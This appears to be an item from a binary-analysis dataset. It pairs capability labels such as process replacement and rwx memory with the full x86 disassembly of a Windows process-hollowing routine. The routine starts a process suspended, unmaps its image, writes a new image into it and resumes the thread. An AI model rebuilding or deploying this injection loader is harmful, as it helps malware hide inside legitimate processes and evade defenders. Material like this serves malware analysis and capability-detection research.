Function at 0x401350
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 0x14]
or ebx, 0xffffffff
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp + 0x10]
push 0x4031d0
mov dword [ebp - 0x2e0], edx
mov dword [ebp - 0x2d8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAllocEx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4053f8], eax
test eax, eax
je 0x401760
push edi
push pe_nt_image_headers32
call fcn.00401834
push pe_nt_image_headers32
mov edi, eax
push 0
push edi
mov dword [ebp - 0x2ec], edi
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
push pe_nt_image_headers32
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4013e0
mov al, byte [0x40323c]
xorps xmm0, xmm0
mov byte [edi], al
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x34c]
movlpd qword [ebp - 0x348], xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push dword [ebp - 0x2ec]
movlpd qword [ebp - 0x340], xmm0
push 0
movlpd qword [ebp - 0x338], xmm0
movlpd qword [ebp - 0x330], xmm0
movlpd qword [ebp - 0x328], xmm0
movlpd qword [ebp - 0x320], xmm0
movlpd qword [ebp - 0x318], xmm0
movlpd qword [ebp - 0x310], xmm0
movups xmmword [ebp - 0x304], xmm0
mov dword [ebp - 0x34c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40173f
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x300]
mov ebx, dword [ebp - 0x304]
mov dword [esi], eax
lea eax, [ebp - 0x2d0]
push eax
push ecx
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x2d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x308]
push eax
push 4
lea eax, [ebp - 0x2dc]
push eax
mov eax, dword [ebp - 0x22c]
add eax, 8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp - 0x2dc]
lea eax, [ebp - 0x368]
push 0x1c
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov ecx, dword [ebp - 0x358]
test eax, eax
mov edi, dword [ebp - 0x2e0]
mov edx, 0x10000
mov eax, dword [ebp - 0x2dc]
cmovne ecx, edx
sub esi, eax
mov dword [ebp - 0x358], ecx
mov dword [ebp - 0x2d4], 0
cmp dword [edi + 0x34], eax
jne 0x4015ba
cmp esi, dword [ebp - 0x2d8]
jb 0x4015ba
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x2d4], eax
push ecx
push 0x40
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [ebp - 0x2d4]
test esi, esi
je 0x401721
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2e0]
push eax
push 4
lea eax, [ebp - 0x2d4]
push eax
mov eax, dword [ebp - 0x22c]
add eax, 8
push eax
push ebx
call esi
mov eax, dword [ebp - 0x2d4]
lea ecx, [ebp - 0x2e0]
push ecx
push dword [ebp - 0x2d8]
mov dword [edi + 0x34], eax
push dword [ebp - 0x2e8]
push eax
push ebx
call esi
test eax, eax
je 0x401721
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x2d0], 0x10007
cmp ecx, dword [ebp - 0x2dc]
jne 0x4016d3
mov eax, dword [edi + 0x34]
add eax, dword [edi + 0x28]
jmp 0x4016d8
push 0x4031d0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAllocEx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4053f8], eax
test eax, eax
je 0x40153a
mov eax, dword [ebp - 0x2dc]
xor esi, esi
push str.ntdll.dll
mov dword [ebp - 0x2f0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x2f4], eax
test eax, eax
je 0x40164f
push str.ZwUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40161f
push dword [ebp - 0x2f0]
push ebx
call eax
neg eax
sbb esi, esi
inc esi
push dword [ebp - 0x2f4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test esi, esi
je 0x40164f
mov esi, dword [ebp - 0x2d8]
push 0x40
push 0x3000
push esi
push dword [edi + 0x34]
push ebx
call dword [0x4053f8]
mov dword [ebp - 0x2d4], eax
jmp 0x40165b
mov eax, dword [ebp - 0x2d4]
mov esi, dword [ebp - 0x2d8]
test eax, eax
jne 0x401548
cmp dword [edi + 0xa0], eax
je 0x401721
cmp dword [edi + 0xa4], eax
je 0x401721
push 0x40
push 0x3000
push esi
push eax
push ebx
call dword [0x4053f8]
mov esi, eax
mov dword [ebp - 0x2d4], esi
test esi, esi
je 0x401721
mov edx, dword [edi + 0xa0]
add edx, dword [ebp - 0x2e8]
mov ecx, dword [edx + 4]
add ecx, dword [edx]
je 0x401540
mov eax, dword [edx + 4]
lea ecx, [edx + 8]
sub eax, 8
shr eax, 1
cmp eax, 1
jb 0x4016c5
lea ecx, [ecx + eax*2]
mov eax, dword [ecx + 4]
mov edx, ecx
add eax, dword [ecx]
jne 0x4016b2
jmp 0x401540
mov eax, dword [edi + 0x28]
add eax, ecx
mov esi, dword [ebp - 0x2e4]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x2d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x2ec]
call fcn.0040182f
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040181e
mov esp, ebp
pop ebp
ret
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, dword [ebp - 0x2e4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
or ebx, 0xffffffff
push dword [ebp - 0x2ec]
call fcn.0040182f
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040181e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop esi
xor ecx, ebp
pop ebx
call fcn.0040181e
mov esp, ebp
pop ebp
ret